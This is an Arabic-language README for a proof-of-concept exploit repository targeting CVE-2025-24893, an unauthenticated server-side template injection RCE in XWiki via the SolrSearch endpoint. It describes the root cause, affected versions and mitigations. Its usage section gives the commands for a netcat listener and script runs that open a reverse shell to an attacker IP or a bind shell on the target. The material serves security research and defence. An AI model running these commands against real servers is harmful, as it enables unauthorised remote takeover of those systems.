CVE-2025-24893 – تنفيذ الأوامر عن بعد في XWiki (إثبات المفهوم)
نظرة عامة
يحتوي هذا المستودع على إثبات مفهوم مُتحكم به لـ CVE-2025-24893، وهي ثغرة تنفيذ أوامر عن بُعد غير مُوثَّقة (RCE) تؤثر على XWiki.
تسمح الثغرة للمهاجم بتنفيذ أوامر نظام تشغيل عشوائية على الخادم بسبب التقييم غير الآمن للقوالب والبرامج النصية من جانب الخادم.
حول XWiki
XWiki هي منصة ويكي مفتوحة المصدر للمؤسسات تُستخدم عادةً لـ:
- التوثيق الداخلي
- قواعد المعرفة
- بوابات التعاون الجماعي
نظرًا لأن XWiki غالبًا ما يتم نشرها على خوادم موجهة للإنترنت، فإن الثغرات الأمنية في معالجة الطلبات ومنطق البرمجة النصية يمكن أن يكون لها تأثير كبير في العالم الحقيقي.
ملخص الثغرة
- معرف CVE: CVE-2025-24893
- الفئة: حقن القوالب من جانب الخادم يؤدي إلى تنفيذ الأوامر عن بُعد
- ناقل الهجوم: طلب HTTP GET
- المصادقة المطلوبة: لا شيء
- التأثير: تنفيذ أوامر عشوائية بصلاحيات الخادم
السبب الجذري
المدخلات التي يتحكم بها المستخدم والتي تم تمريرها إلى نقطة النهاية SolrSearch لم يتم التحقق منها بشكل صحيح وتم تقييمها بواسطة محرك البرمجة النصية Groovy.
سمح ذلك بتفسير المدخلات المقدمة من المهاجم على أنها كود قابل للتنفيذ من جانب الخادم، مما أدى إلى تنفيذ الأوامر على النظام المضيف.
الإصدارات المتأثرة
- إصدارات XWiki حتى 15.10.10 بما في ذلك
- تم تصحيحها في الإصدارات اللاحقة
قدرات إثبات المفهوم
يوضح إثبات المفهوم هذا ما يلي:
- وضع اكتشاف الثغرة
يؤكد بأمان ما إذا كان المثيل الهدف ضعيفًا عن طريق تنفيذ تعبير آمن من جانب الخادم.
- تنفيذ الأوامر عن بُعد
يُظهر تنفيذ أوامر عشوائية على النظام الهدف.
- تنفيذ شل عكسي
يُنشئ اتصال شل صادر من الهدف إلى المختبر.
- شل مرتبط (اختياري)
يفتح شل استماع على المضيف الهدف (أقل موثوقية من الشل العكسي).
الاستخدام
فحص الثغرة
python3 xwiki_cve_2025_24893.py http://target:8080 -m check
شل عكسي (موصى به)
nc -lvnp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m reverse -lh <attacker_ip> -lp 4444
شل مرتبط
python3 xwiki_cve_2025_24893.py http://target:8080 -m bind -lp 4444
تدفق الهجوم عالي المستوى
- يتم إرسال طلب مُصمم إلى نقطة النهاية الضعيفة
SolrSearch
- يتم حقن تعليمات قالب ضارة عبر المدخلات التي يتحكم بها المستخدم
- يتم تقييم المدخلات بواسطة محرك Groovy ككود موثوق
- يتم تنفيذ أوامر نظام تشغيل عشوائية على الخادم
إرشادات التخفيف
- ترقية XWiki إلى إصدار مُصحح فورًا
- تقييد الوصول إلى نقاط النهاية الداخلية حيثما أمكن
- الحد من وظائف البرمجة النصية من جانب الخادم أو وضعها في بيئة معزولة
- مراقبة سجلات التطبيق بحثًا عن سلوك تنفيذ قالب غير طبيعي
إخلاء مسؤولية
تم توفير هذا المشروع بدقة للأغراض التعليمية واختبار الأمان المصرح به.
أي استخدام غير مصرح به لهذا الكود ضد أنظمة دون إذن صريح محظور.
الاعتمادات
- البحث الأصلي للثغرة وإلهام إثبات المفهوم بواسطة Al Baradi Joy
- تم إعادة هيكلته وتوسيعه لأغراض البحث الأمني التعليمي والدفاعي
الغرض من هذا المستودع
تم إنشاء هذا المستودع لإظهار:
- تحليل الثغرات في العالم الحقيقي
- تطوير إثبات مفهوم آمن ومسؤول
- فهم مخاطر حقن القوالب من جانب الخادم وتنفيذ الأوامر عن بُعد
- الوعي الدفاعي واعتبارات التخفيف